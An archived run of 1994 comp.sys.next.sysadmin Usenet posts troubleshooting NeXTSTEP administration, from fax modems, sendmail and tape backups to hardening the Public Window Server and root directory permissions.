I also ran ping. Each machine was able to ping itself, however, when I try
to ping the other machine, either the ping hangs or I get a "network is
down" message. ifconfig en0 actually says that the interface is up.
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esprit@netcom.com (home) | more affluent - Soichiro Honda
From: christ@park.bu.edu (Christian Mannes)
Newsgroups: comp.sys.next.sysadmin
Subject: Intel 144/144e fax modem problem
Date: 12 Mar 94 22:00:53
Organization: B.U. Department of Cognitive and Neural Systems
Distribution: comp
Message-ID: <CHRIST.94Mar12220053@park.bu.edu>
I have a problem with an Intel 144 fax modem on a NextStation
running 3.0: data mode works fine, but I can't quite get it to
send a fax. Everytime I try, it apparently connects to the other
fax machine, does all the typical noises suggesting it is actually
connecting to the machine, then stops with a "handshake failed"
message in fax reader's log. Also, the fax daemon processes are
still running after that, making it necessary to kill them by
hand.
Does anyone know how to fix this? Any help would be greatly
appreciated.
Thanks in advance,
Christian Mannes
christ@cns.bu.edu
Newsgroups: comp.sys.next.sysadmin
From: mckelvey@fafnir.com (James W. McKelvey)
Subject: Re: -NXHost danger (Re: Shadow Passwords)
Message-ID: <CMKM5G.6Cy@fafnir.com>
Sender: mckelvey@fafnir.com (James W. McKelvey)
Organization: Fafnir Software, Saugus, CA, USA
References: <2lkoq8$lu1@agate.berkeley.edu>
Date: Sat, 12 Mar 1994 21:24:52 GMT
In article <2lkoq8$lu1@agate.berkeley.edu> izumi@pinoko.berkeley.edu
(Izumi Ohzawa) writes:
>
> I will get flamed for posting this, but if you leave the Public
> Window Server on all the time, this is what you are exposed to.
> Turn off the PWS switch in Preferences.
>
> Warn your users. Run scripts nightly which resets all user's
> PWS switch to OFF position, i.e.,
> "dwrite System PublicWindowServer No" for all users.
>
I agree that finer control of PWS is desirable. But why not take
advantage of the facilities available? From the 3.2 docs:
Four options are available to help make your computer more secure. You
enable these options by modifying the NetInfo database. The four
options are:
login_accounting With this option set, a syslog message is
generated for all failed login attempts. Such messages are recorded in
/usr/adm/messages.
secure_passwords With this option, user passwords must be 8
characters long and contain at least one character other than a letter.
lockout With this option, each failed login attempt creates a
delay before another login attempt can be made. The initial delay is 1
second; each failed attempt doubles the delay to a maximum of 10
minutes.
discourage_public_servers With this option set, users can't set
either Public Window Server or Public Sound Server. The checkboxes for
these options aren't displayed in the Experts panel of the Preferences
application.
--
What I did must have been right, or an angel would
have stopped me, just as the angel stopped Abraham
in the Bible. -- Albert Fish, the cannibal
Jim McKelvey mckelvey@fafnir.com
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Intel 144/144e fax modem problem
Message-ID: <1994Mar13.083333.591@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <CHRIST.94Mar12220053@park.bu.edu>
Distribution: comp
Date: Sun, 13 Mar 1994 08:33:33 GMT
In article <CHRIST.94Mar12220053@park.bu.edu> christ@park.bu.edu
(Christian Mannes) writes:
>
> I have a problem with an Intel 144 fax modem on a NextStation
> running 3.0: data mode works fine, but I can't quite get it to
> send a fax. Everytime I try, it apparently connects to the other
> fax machine, does all the typical noises suggesting it is actually
> connecting to the machine, then stops with a "handshake failed"
> message in fax reader's log. Also, the fax daemon processes are
> still running after that, making it necessary to kill them by
> hand.
A standard NeXT supports only the Interfax/Abaton/HSD fax modem. In order
to use any other fax modem, you must buy a driver for it. I would suggest
you contact B & W, and ask about NXFax. Check what modems are supported
by it.
Paul
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Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.sysadmin
From: tjyang@cc.nsysu.edu.tw (Tyng-Jing Yang)
Subject: ftp access denied
Message-ID: <TJYANG.94Mar13230820@cc.nsysu.edu.tw>
Sender: news@news.nsysu.edu.tw
Organization: NSYSU Computing Center
Date: Sun, 13 Mar 1994 15:08:19 GMT
I can't even ftp to myself !!!
====================================================
cubic:2# ftp -v cubic
Connected to cubic.
220 cubic FTP server (Version 5.1 (NeXT 1.0) Wed Sep 15, 1993) ready.
Name (cubic:root): me
530 User me access denied.
Login failed.
====================================================
I have no chance to type in passwd.
Did I change something I shouldn't changed?
The only clue is that I apply the sendmail patch
sometime ago.
Tyng-Jing
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#221 Sec. 2 Chin-Nein Rd.
Fong-Shang City 830,Taiwan
FAX/Phone: +886-7-7423118
tjyang@cc.nsysu.edu.tw
tjyang@cubic.entrance.com.tw(NeXTMail OK)
Newsgroups: comp.sys.next.sysadmin
From: tjyang@cc.nsysu.edu.tw (Tyng-Jing Yang)
Subject: telnetd is still crippled in NS3.2 !
Message-ID: <TJYANG.94Mar13231406@cc.nsysu.edu.tw>
Sender: news@news.nsysu.edu.tw
Organization: NSYSU Computing Center
Date: Sun, 13 Mar 1994 15:14:06 GMT
I still got crippled output when I telnet from sun, hp, linux and
type a "ls" command.
Anyway to fix this problem ?
Tyng-Jing
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#221 Sec. 2 Chin-Nein Rd.
Fong-Shang City 830,Taiwan
FAX/Phone: +886-7-7423118
tjyang@cc.nsysu.edu.tw
tjyang@cubic.entrance.com.tw(NeXTMail OK)
From: premise@pindar.ccs.itd.umich.edu (Sean Michael Willson)
Newsgroups: comp.sys.next.sysadmin
Subject: Workspace Crash
Date: 13 Mar 1994 19:06:43 GMT
Organization: University of Michigan
Message-ID: <2lvo83$kj7@lastactionhero.rs.itd.umich.edu>
Hello,
I am a student at the University of Michigan Ann Arbor. We have a
small NeXT lab on central campus that has 19 next motorollas, running
NeXTSTEP version 3.0. Whenever I log on to one of these machines (It
happens on all of them) I can do work for a while but then the workspace
manager crashes. I cannot figure out why. I have tried replacing my
NeXT file (My sys admin told me to) but that did nothing but lose
everything I did in customization. I sometimes can work for a few hours
switching between apps and then it will crash. Other times I will log in,
open mail, then when I click on the wrokspace manager CRASH. It becomming
more and more frequent and effecting my work. When it crashes it gives a
message the the "Workspace manager has crashed. PLease exit and save
changes if possible" or something like that. Is anyone can help at All I
would owe them forever. Please I love NeXT's and I have work to do.
Please help ASAP. This is the second time I posted this. I have only
gotten one reply. Help!
Sean Willson
premise@churchst.ccs.itd.umich.edu
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Newsgroups: comp.sys.next.sysadmin
From: thf@zelator.de (Thomas Funke)
Subject: Re: Newsgrazer spontaneously terminating
Message-ID: <1994Mar12.174455.1219@gamelan.uucp>
Sender: thomas@gamelan.uucp (thomas)
Organization: Disorganization
References: <2lq30v$oi@email.tuwien.ac.at>
Date: Sat, 12 Mar 1994 17:44:55 GMT
In article <2lq30v$oi@email.tuwien.ac.at> ah@fml.tuwien.ac.at (Andreas
Haleger) writes:
> But the only way I can think of is to "outcomment" each article and
> look,
> if NewsGrazer still dies. For 200 unread articles this is a bid boring.
> So if anybody knows a working method?
>
Lets assume articles 1000 - 1200 are unread then start
patching .newsrc:
make artikle 1000 - 1100 read. Try NG. If still crashing, make article
1000 - 1150 read and try again.
If no crash, try 1000 - 1050 read. And so on.
This way you can quickly find the 'bad' article.
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From: gemoe@proximus.north.de (Gerhard Moeller)
Subject: Re: compression on DAT drive
Keywords: HP DAT compression
References: <2kur6q$odq@lastactionhero.rs.itd.umich.edu> <2kvu4n$epq@quartz.ucs.ualberta.ca>
Organization: German NeXT User Group, Oldenburg.
Date: Sun, 13 Mar 1994 09:33:19 GMT
Message-ID: <1994Mar13.093319.395@proximus.north.de>
Summary: DIP switches on HP drives to enable compression. Help needed.
In article <2kvu4n$epq@quartz.ucs.ualberta.ca>,
[...]
>
>Anyway, I have the HP 35480A DAT drive.
Me too...
>There is a set of dip switches on the bottom of the unit,
>
>On
>
>
>Off 1 2 3 4 5 ...
>
>S1 S2 Meaning
>Off Off Compression disabled, no host control
>Off On Compression disabled, host is allowed to control
> compression
>On Off Compression enabled, no host control
>On On Compression enalbed, host is allowed to control
True, but what option is understood by the NeXT?
How can my NeXT control the compression????
How can I check if the DAT currently compresses or not?
If the NeXT is not able to control the compression, should I set Compression
enabled, no host control?
>3-8 are used to specify drive connetivity. Contat your HP distributor...
Well, In my documentation there are the first two DIPs described, but not
the six remeining ones. Then the manual talks about senses and modes like
* asynchronous sense
* EW-EOM on read error
* full reset
* signed residue
* performance
* immediate
* infinite flush
* fixed mode
* no parity
* no data disconnects
* switch buffered
* write zero FM
* no EW-EOM residue
But there is NO hint how the dips have to be set to set or unset those
options. Too bad.
Does anyone out there know what the meaning of the remaining dips is?
What is the "bext" (best) configuration for the NeXT?
Many questions, Gerhard.
Newsgroups: comp.sys.next.sysadmin
From: gemoe@proximus.north.de (Gerhard Moeller)
Subject: Re: Backup Tape Help
References: <2l5fdl$f37@news.bu.edu>
Organization: German NeXT User Group, Oldenburg.
Date: Sun, 13 Mar 1994 16:46:25 GMT
Message-ID: <1994Mar13.164625.936@proximus.north.de>
In article <2l5fdl$f37@news.bu.edu>, David Castanon <dac@engc.bu.edu> wrote:
>I moved a tape backup system which I used at home for a MacIntosh, to use on my NeXT 2.x
>station. The unit is a Teac 150 tape drive. After some initial difficulty getting it
>to write, I used a program (setmtd) to set to fixed block size 512 k, and I was
^^^^^^^^^^^^^^^^^^^^^^
If you REALLY set the blocksize to 512k, I guess that this is your problem.
Change it to 512 Byte. Then you should be able to get your tapes filled.
[...]
Gerhard.
From: rogata@is-next.umd.edu (Richard Scott Ogata)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: telnetd is still crippled in NS3.2 !
Date: 13 Mar 1994 22:19:48 GMT
Organization: University Of Maryland, College Park, MD
Message-ID: <2m03i4$1no@umd5.umd.edu>
References: <TJYANG.94Mar13231406@cc.nsysu.edu.tw>
In article <TJYANG.94Mar13231406@cc.nsysu.edu.tw> tjyang@cc.nsysu.edu.tw (Tyng-Jing Yang) writes:
>I still got crippled output when I telnet from sun, hp, linux and
>type a "ls" command.
>
>Anyway to fix this problem ?
>
Try:
stty -extproc ; tset
If your problem is what I think it is, then this should fix it.
Rich Ogata
rogata@arpa.mil
From: okerson@nssdc.gsfc.nasa.gov (David Okerson)
Newsgroups: comp.sys.next.sysadmin
Subject: Help! (please) Mounting DOS IDE partition
Date: 13 Mar 1994 19:22 EDT
Organization: NASA - Goddard Space Flight Center
Distribution: world
Message-ID: <13MAR199419222785@nssdc.gsfc.nasa.gov>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
News-Software: VAX/VMS VNEWS 1.41
I apologize for asking a dumb question, but how does one mount
a DOS partition on an IDE disk? That is:
My "root" disk is an external SCSI disk which is formatted to
be all NEXTSTEP;
Following the NeXTanswers procedure, I have created a small
NEXTSTEP partition on my internal IDE drive and placed the
files on it needed to boot without a floppy disk;
The rest of the IDE drive consists of two DOS partitions of
64MB each, which work properly under DOS;
I have added the IDE NEXTSTEP partition to /etc/fstab as /dev/hd0a,
and it is mounted on the NEXTSTEP WindowManager properly;
Now: how do I get the two DOS partitions to appear on the
NEXTSTEP WindowManager? All attempts thus far to mount them
either manually or by entering them in fstab have failed, with
mount returning the message that it cannot find such a device. I
had thought (simple me) that /dev/hd0b or /dev/rhd0b might be the
appropriate device to mount, but no such luck.
Thank you very much for any help you can provide.
David
From: matthewm@sgate.com (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: -NXHost danger (Re: Shadow Passwords)
Date: 13 Mar 1994 19:36:15 -0500
Organization: Collins International Services Company
Distribution: world
Message-ID: <2m0bhv$qpp@sgate.com>
References: <jeffo.763162630@uiuc.edu> <2lkoq8$lu1@agate.berkeley.edu>
Why run scripts nightly? Just put the dwrite to disable the Public Window
Server in their loginhook.
They have to log out and back in in order for that to take effect.
The loginhook runs before the Workspace is initialized. If the loginhook
turns off PWS, you can't turn it on. It's also a good idea to use
discourage_public_servers as a security_options value.
------
Mike Matthews, Mike_Matthews@sgate.com (NeXTmail accepted)
------
A sine curve goes off to infinity or at least the end of the blackboard
-- Prof. Steiner
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: -NXHost danger (Re: Shadow Passwords)
Date: 14 Mar 1994 02:40:58 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2m0irq$38j@agate.berkeley.edu>
References: <2m0bhv$qpp@sgate.com>
In article <2m0bhv$qpp@sgate.com> matthewm@sgate.com (Mike Matthews) writes:
>Why run scripts nightly? Just put the dwrite to disable the Public Window
>Server in their loginhook.
>
>The loginhook runs before the Workspace is initialized. If the loginhook
>turns off PWS, you can't turn it on. It's also a good idea to use
>discourage_public_servers as a security_options value.
Thank you for updating me.
However, not being able to do it at all is inconvenient.
Again, "discourage_public_servers" can only be set per machine or per
NetInfo domain basis. It should at least be possible to be set per
user basis, so PWS may be used for, say 5 min, to do some remote work
that require NS apps.
login_accounting, secure_passwords, and lockout security options are
irrelevant to the public window server problem as the PWS operation does
not involve any login procedure.
It would be nice if login_accounting actually logged non-local WindowServer
connections and connection attempts.
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: majka@next.com (Marc Majka)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: -NXHost danger (Re: Shadow Passwords)
Date: 14 Mar 1994 03:24:47 GMT
Organization: NeXT, Inc.
Distribution: world
Message-ID: <2m0ldv$3h0@rosie.next.com>
References: <2m0bhv$qpp@sgate.com>
Mike Matthews writes
>
> Why run scripts nightly? Just put the dwrite to disable the
> Public Window Server in their loginhook.
>
> They have to log out and back in in order for that to take effect.
That is true of PublicSoundServer, but not true of PublicWindowServer. It
takes effect immediately.
There's no NeXT-supplied solution to limiting PublicWindowServer to either
certain users or to no-one at all, but this discussion is a bit of a
tempest in a teapot. What you can do is turn off access to the buttons in
Preferences (with discourage_public_servers), then write your own
front-end to dwrite. You could do it in a tiny C program containing:
if (!strcmp(owner, "System) &&
!strcmp(name, "PublicWindowServer) &&
(value[0] == 'y' || value[0] == 'Y' ||
value[0] == 't' || value[0] == 'T')) {
fprintf(stderr,"can't set PublicWindowServer\n");
}
else NXWriteDefault(owner, name, value);
You could also write a tiny shell script. I'll leave the actually program
as an exercise for the net.
Of course I'm not implying that NeXT doesn't think security is important -
we do! However, if you don't want to wait for NeXT to supply a solution,
you can create your own fairly easily.
--
Marc Majka
NeXT Computer
Newsgroups: comp.sys.next.sysadmin
From: mckelvey@fafnir.com (James W. McKelvey)
Subject: Re: NG problem
Message-ID: <CMMJ6F.Arw@fafnir.com>
Sender: mckelvey@fafnir.com (James W. McKelvey)
Organization: Fafnir Software, Saugus, CA, USA
References: <1994Mar10.083352.541@rna.indiv.nluug.nl>
Date: Sun, 13 Mar 1994 22:15:49 GMT
In article <1994Mar10.083352.541@rna.indiv.nluug.nl>
gerben@rna.indiv.nluug.nl writes:
> I upgraded to NG 3.75 and since then it starts hanging (spinning
disk) after a
> couple of minutes. What is going on?
>
> --
> Gerben Wierda [NEXTSTEP RD242] gerben@rna.indiv.nluug.nl
> "If you don't know where you are going, any road will
> take you there." From the Talmud, rephrased in
> Lewis Carroll, "Alice in Wonderland".
I had this problem. There's a news article somewhere that's confusing
NG. I just switched back to 3.72, read all the news, and then when the
next batch came in, 3.75 was happy with it.
If you have more patience, you could try switching to browse mode.
Then maybe you can identify the offending article.
--
What I did must have been right, or an angel would
have stopped me, just as the angel stopped Abraham
in the Bible. -- Albert Fish, the cannibal
Jim McKelvey mckelvey@fafnir.com
Newsgroups: comp.sys.next.sysadmin
From: shayman@Objectario.com (Steve Hayman)
Subject: Writeable "/" folder considered harmful. I've changed my mind.
Message-ID: <1994Mar14.053424.1276@objectario.com>
Sender: shayman@objectario.com
Organization: Steve Hayman + Associates / NeXTSTEP Consulting / Toronto
Date: Mon, 14 Mar 1994 05:34:24 GMT
As you may know the default permissions on the "/" directory
are 1777, meaning anyone can write new files into that directory
but cannot change existing ones.
I know this topic has come up in the past. The only reason I'm
bringing it up again is because I've posted before that 1777
permissions are not really a security problem, because users can't
tinker with existing files.
I want to withdraw that opinion and urge everyone concerned with
security to change the permissions on the "/" directory to 755.
(i.e. remove write permissions for "group" and "other".)
In a perfect world, 1777 would be reasonable. Unfortunately,
(like every other OS) NeXTSTEP isn't perfect. I've found
a few ways to exploit 1777 permissions to break security,
and unfortunately I wouldn't be surprised if there are others.
I'm not going to outline them here, but just want to let
everyone know that if you think 1777 permissions are safe
because of that sticky "1" bit, you're wrong.
Once again just to emphasize this because it is important, if you
are concerned at all about security on your machine - and you
should be - take a moment to do this in a root shell.
# chmod 755 /
The default 1777 permissions are NOT safe and I want to apologize for
suggesting that they might be.
(I've already let NeXT know of the specific problems I found. The
ball's in their court; I'm afraid the only solution is for NeXT to bite the
bullet and make the default permissions 755, no matter how useful
1777 might be on an isolated machine.)
Thanks,
Steve
P.S. Before anyone asks, no I won't tell you what the specific
holes are. I came up with a few just by thinking about the problem
for a while; give it a try yourself, it's a useful exercise.
---
Steve Hayman shayman@Objectario.com
Steve Hayman & Associates, Toronto, Ontario
(416) 769-8995 NeXTSTEP Consulting
Newsgroups: comp.sys.next.sysadmin
Organization: Antigone Press gateway, San Francisco
Return-Path: <petra!sas@decster.uta.edu>
Date: Mon, 14 Mar 94 00:26:04 -0600
From: Shawn Alva Stone <petra!sas@decster.uta.edu>
Message-ID: <9403140626.AA01633@petra>
Subject: Mail/UUCP address problems
I'm having all kinds of trouble. I use NeXT's Mail.app to do almost
all of my messaging. (I use a NeXT 68040-25 running NS3.2). The
name of my machine (host name? I'm quite a novice) is "petra". Now,
I've already been made aware that there's already an internet address
"petra.com". I'll gladly change the name of my cube, if some one
will tell me how. Getting back to messaging: I use UUCP to dial up
halite.uta.edu and send mt mail. I have hacked on sendmail.cf enough
to get it to send mail automatically when I click the "Deliver"
button and am very pleased with that, not to mention proud of myself. However, I'd
like to configure my mail system so that it won't tack "petra!" (see above) onto my
header. I changed the "Reply To" field to "sas@halite.uta.edu" in hopes that that
would take care of the problem, but no such luck. The main problem is with mailing
lists, of course, as users will normally send/reply to whatever address one puts in
his/her signature. Anyway, the situation I'm looking for is as follows:
I edit and send mail from petra (or whatever I rename it).
Somewhere locally or remote petra! is stripped from or never
included in my return address ANYWHERE.
Mail is returned -even automatically- to sas@halite.uta.edu,
where my .forward file queues the message up to be
retrieved the next time petra polls halite.
I'm sure that this is not a unique setup, so would some wonderful
Samaritan stop for a moment and lend a hand? Thanks in advance to
any who will answer my cry for help!
Cbao,
Shawn <sas@halite.uta.edu>
"Does anybody really know what time it is?"
- R. Lamm, '70s
From: sibrahim@pollux.usc.edu (Shahril Ibrahim)
Newsgroups: comp.sys.next.sysadmin
Subject: Next/Intel as a Server ?
Date: 14 Mar 1994 02:11:59 -0800
Organization: University of Southern California, Los Angeles, CA
Sender: sibrahim@pollux.usc.edu
Message-ID: <2m1d9f$l5v@pollux.usc.edu>
I'm thinking of getting a Next/Intel as a server to a small network
of unix machines. Does anybody know how many concurrrent telnets
a 486/66 Next with 64MB of memory could handle ?
Please email me directly
Thanks
Shahril
From: laroche@sig.enst.fr (Jean Laroche )
Newsgroups: comp.sys.next.sysadmin
Subject: sendmail problem (again)
Date: 14 Mar 1994 12:58:37 GMT
Organization: Ecole Nationale Superieure des Telecommunications, Paris France
Message-ID: <2m1n1t$844@enst.enst.fr>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Keywords: sendmail, return address
Hi there.
We have a next-sendmail problem at our lab. Sendmail cannot be configured to
include the correct return-field in the mail sent. Although this is a
documented problem for 1.0 and 2.0 (FAQ mail.444 of 93_Winter) the fix does NOT
work for our machines (they run 3.0 by the way).
Would anybody know anything about that? I recall seeing a lot of stuff on
sendmail problems lately, including a new version of sendmail being developed,
if I remember correctly. Any pointer?
Thanks in advance, and sorry for the trouble.
CAUTION! reply to the net! Don't use the return address which will probably be
bogus!
Jean Laroche, Telecom Paris
From: beckers@spin.ford.com (Becki Kain)
Newsgroups: comp.sys.next.sysadmin
Subject: ups for 3.0
Date: 14 Mar 1994 13:19:01 GMT
Organization: OrgFreeware
Sender: beckers@spin (Becki Kain)
Distribution: world
Message-ID: <2m1o85$hin@ef2007.efhd.ford.com>
howdy:
i am interested in getting an ups and software for my black box. any
suggestions?
thanks
beckers
From: t68@nikhef.nl (Jos Vermaseren)
Newsgroups: comp.sys.next.sysadmin
Subject: writing on full disk. Bug or Feature?
Message-ID: <2780@nikhefh.nikhef.nl>
Date: 14 Mar 94 14:26:06 GMT
Organization: Nikhef-H, Amsterdam (the Netherlands).
Is the following a bug or a feature?
I have a program that writes a scratch file that can become rather large.
In advance it is impossible to tell how large. So I check whether the
write statement gives a return value that indicates that not all characters
were written. If it cannot write any further, it removes the file and gives
an error message with the suggestion that the problem may be the disk
capacity. This works well on SUN, SGI, etc. But NOT ON NeXT!
The write statement simply does not return and waits for more space to
become available. This means that nobody can do any work on that machine
till either the owner of the job, or a superuser shows up.
This can be quite annoying!
If this is a bug, it would be quite nice to have it repaired in the next
release. If it is a feature it would at least be nice to know what train
of thought led to it.
It reminds me of the old CDC computers. If you had MFA, MFB and MFZ
as mainframes and submitted by mistake a job to MFC the job would stay in the
queue indefinitely, or at least till someone would be so kind as to
install an extra computer by the name MFC. Some people have been waiting
quite a long time before finding out what happened to their job.
Jos Vermaseren
Newsgroups: comp.sys.next.sysadmin
From: fozztexx@nvc.cc.ca.us (Chris Osborn)
Subject: Re: SLIP and Routing
Message-ID: <CMKKKF.J8u@nvc.cc.ca.us>
Sender: news@nvc.cc.ca.us
Organization: Napa Valley College
References: <CM4CBE.nF@nvc.cc.ca.us> <CMBEr5.MFn@nvc.cc.ca.us>
Date: Sat, 12 Mar 1994 20:50:38 GMT
In article <CMBEr5.MFn@nvc.cc.ca.us>,
Chris Osborn <fozztexx@nvc.cc.ca.us> wrote:
>But now I can't get talk to work correctly. If I do a talk from the
>server to the client, I get paged like I would expect. But if I do a
>talk from the client to the server, no connection is ever started. I
>can see that the client got the server to start up ntalkd, but no
>packets ever come back from ntalkd. This also means that after I get
>paged on the client, I can't establish a connection to whoever has
>paged me.
I also can't get tftp to work from the client to the server. After
doing a netstat -s, I noticed that ICMP destination unreachable count
went up after trying to do a talk from the client to the server. What
is going on? Why can't my client receive UDP packets through inetd?
--
Chris Osborn, Network Administrator Voice: 707 253 3130
Napa Valley College Fax: 707 253 3063
fozztexx@nvc.cc.ca.us
fozztexx@groucho.sonoma.edu MIME/NeXTMail ok at both
From: rcc@next1.math.pitt.edu (robert cyphers)
Newsgroups: comp.sys.next.sysadmin
Subject: Autonfsmount problems
Keywords: autonfsmount automount
Message-ID: <17125@blue.cis.pitt.edu>
Date: 14 Mar 94 14:40:27 GMT
Sender: news+@pitt.edu
After rebuilding NetInfo from scratch (NeXTStep 3.0, all black) to fix
one problem on the master server, I seem to have created another.
Now when I add the clients back in to the 'mounts' directory using
NFSManager (rw,background,intr,net) my server hangs up when I make
any move to look at /Net/client directories. The messages file says:
mach: NFS server (autonfsmount[100]) not responding still
trying
just before the systems hangs uniteruptedly.
All clients export with root access to the NetInfo master (this
hasn't changed). Many of the clients also now complain at boot time
that:
kern_loader: kern_loader: Link failed
kern_loader: kern_loader: Link failed
kern_loader: kern_loader: server ipserv won't link
kern_loader: kern_loader: server ipserv won't link
and I also see NFS errors like "NFS error 4 on read in" on several
hosts.
Any ideas what I need to do to get autonfsmount working properly?
Thanks in advance,
Robert Cyphers
Department of Mathematics and Statistics
University of Pittsburgh
cyphers+@pitt.edu
Newsgroups: comp.sys.next.sysadmin
From: hans@tms-gmbh.de
Subject: Swapping on ?
Message-ID: <CMnJw2.10M@tms-gmbh.de>
Sender: usenet@tms-gmbh.de
Organization: tms GmbH, Regensburg, Germany
Date: Mon, 14 Mar 1994 11:28:49 GMT
Hello,
is i was just digging in the files for swapp configuration i
noticed the following:
NeXTSTEP only swapps on a "swapdisk" which is on a SCSI disk,
not on a IDE disk, look in /etc/rc.swap too change that!
Hope it helps
Hans
From: mikek@css.itd.umich.edu (Mike Kuniavsky)
Newsgroups: comp.sys.next.sysadmin,umich.unix.admin,comp.sys.sun.admin
Subject: NeXT->Sun dump(8) ?
Date: 14 Mar 1994 15:40:00 GMT
Organization: University of Michigan
Message-ID: <2m20gg$pb4@lastactionhero.rs.itd.umich.edu>
This may be a FAQ, but I haven't been able to find the answer in all of
the usual places. Anyway, I have a lab of Suns and I have been asked to
backup some NeXTs to the Sun tapedrives. I thought that this was going
to be pretty easy ("just rdump") and set everything up without
bothering to read the entire NeXT dump(8) manpage before proceeding.
Things seemed to work okay, but then I decided to try a restore to see
what the backup looked like. Suffice it to say, it wasn't pretty:
though the data was somewhere down there (judging by the size of the
backup) it wasn't in "standard" (BSD, I guess) dump(8) format and
therefore mostly inaccessible. Reading the manpage some more I came
upon the following:
BUGS
Dumps made with dump can't be restored by other vendors'
restore programs. In order to make dumps that can, use
dump.old.
Unfortunately, 3.2 (which is what they're running) doesn't ship with
dump.old and I can't seem to locate a version of the OS that does.
SO, is there a solution to this? Is there a freely-available version of
dump(8) for the NeXTs that will work with Suns? If not, then what solutions
do others use for this kind of setup?
Thanks much.
--
Mike Kuniavsky ITD/US UNIX Support
mikek@umich.edu (313)764-1178
From: seubert@cip.mathematik.uni-wuerzburg.de (Klemens Seubert)
Newsgroups: comp.sys.next.sysadmin
Subject: Logout-Panel
Date: 14 Mar 1994 16:15:12 GMT
Organization: University of Wuerzburg, Germany
Message-ID: <2m22ig$ksc@winx03.informatik.uni-wuerzburg.de>
Hi there,
is it possible to keep the confirmation-panels from appearing at
logout or when pressing the power key?
We are running NS 3.0 on black hardware.
Many thanks,
Klemens
--
Klemens Seubert
Universitaet Wuerzburg
Institut fuer Angewandte Mathematik
email: seubert@cip.mathematik.uni-wuerzburg.de (NeXTmail welcome)
------------------------------------------------------------------
Bevor ich eine meiner ueblichen Fehlentscheidungen treffe, moechte
ich erstmal ein Schlueckchen Kaffee zu mir nehmen.
[James T.Kirk in "Was summt denn da?"]
From: majka@next.com (Marc Majka)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: -NXHost danger
Date: 14 Mar 1994 15:49:34 GMT
Organization: NeXT, Inc.
Distribution: world
Message-ID: <2m212e$41q@rosie.next.com>
References: <2m0ldv$3h0@rosie.next.com>
Once again, Steve Hayman has shown me the true light. Of course you can
write your own version of dwrite that prevents someone from enabling
PublicWindowServer, but anyone who is dedicated to the task of actually
enabling it can just write *their* own version of dwrite that *does* allow
it. Sigh. I should never post anything late on Sunday night - the brain
isn't firing on all its cylinders. Thanks, Steve.
-- Marc
From: philipp@res.enst.fr (Philippe-Andre Prindeville)
Newsgroups: comp.sys.next.sysadmin
Subject: cpio and symlinks
Date: 14 Mar 1994 17:03:55 GMT
Organization: Ecole Nationale Superieure des Telecommunications, Paris FRANCE
Distribution: world
Message-ID: <2m25dr$f1s@enst.enst.fr>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Does anyone have a version of cpio compiled and running on
(white) NS 3.2 that handles symlinks? I make my backups
using cpio (no, really) and not having cpio is a real bummer.
Thanks,
-Philip
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: sendmail problem (again)
Date: 14 Mar 1994 17:41:10 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2m27jm$duq@agate.berkeley.edu>
References: <2m1n1t$844@enst.enst.fr>
In article <2m1n1t$844@enst.enst.fr> laroche@sig.enst.fr (Jean Laroche ) writes:
>Hi there.
>We have a next-sendmail problem at our lab. Sendmail cannot be configured to
>include the correct return-field in the mail sent. Although this is a
>documented problem for 1.0 and 2.0 (FAQ mail.444 of 93_Winter) the fix does NOT
>work for our machines (they run 3.0 by the way).
>Would anybody know anything about that? I recall seeing a lot of stuff on
>sendmail problems lately, including a new version of sendmail being developed,
>if I remember correctly. Any pointer?
Hi, Jean (of nice DSP tutorials for NeXT),
You can get sendmail 8.6.5 or 8.6.6beta from ftp.cs.berkeley.edu
in directory /ucb. It is already configred for NeXT.
8.6.5 must be compiled without the -O compiler flag.
8.6.6beta## will work just fine with the optimization using
Makefile.nxt.
You will need a newer 'm4' macro processor to create new
sendmail.cf files. I just used cf/cf/tcpproto.mc for our lab's
mail hub, and cf/cf/clientproto.mc for clients that mount
/usr/spool/mail. I just added "OSTYPE(nextstep)dnl" in each
and passed the file through 'm4', i.e.,
"m4 mytcpproto.mc >mytcpproto.cf".
If you need m4 binary, I have one that Robert La Ferla
<Robert_La_Ferla@hot.com> kindly sent me. Let me know.
Robert says that he will be uploading all the necessary stuff
including m4 and database etc to archives once sendmail 8.6.6
gets out of its beta status. It will be more stable then, but
it is quite stable already.
8.6.5 and 8.6.6 are really very efficient than the version
NeXT ships: 5.67?. Major version of sendmail skipped 6, and 7
for various reasons, mentioned in the reasese somewhere.
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: -NXHost danger (Re: Shadow Passwords)
Date: 14 Mar 1994 18:00:30 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Distribution: world
Message-ID: <2m28nu$6eh@quartz.ucs.ualberta.ca>
References: <2m0bhv$qpp@sgate.com> <2m0ldv$3h0@rosie.next.com>
A better option than putting in loginhook, would be to put it in
logouthook. The usual way this is a security hole is that people turn
it once for some thing they have to run remotely, then forget to turn it
off. By putting it in logouthook, the users have to turn it on
explicity each time they use it.
--
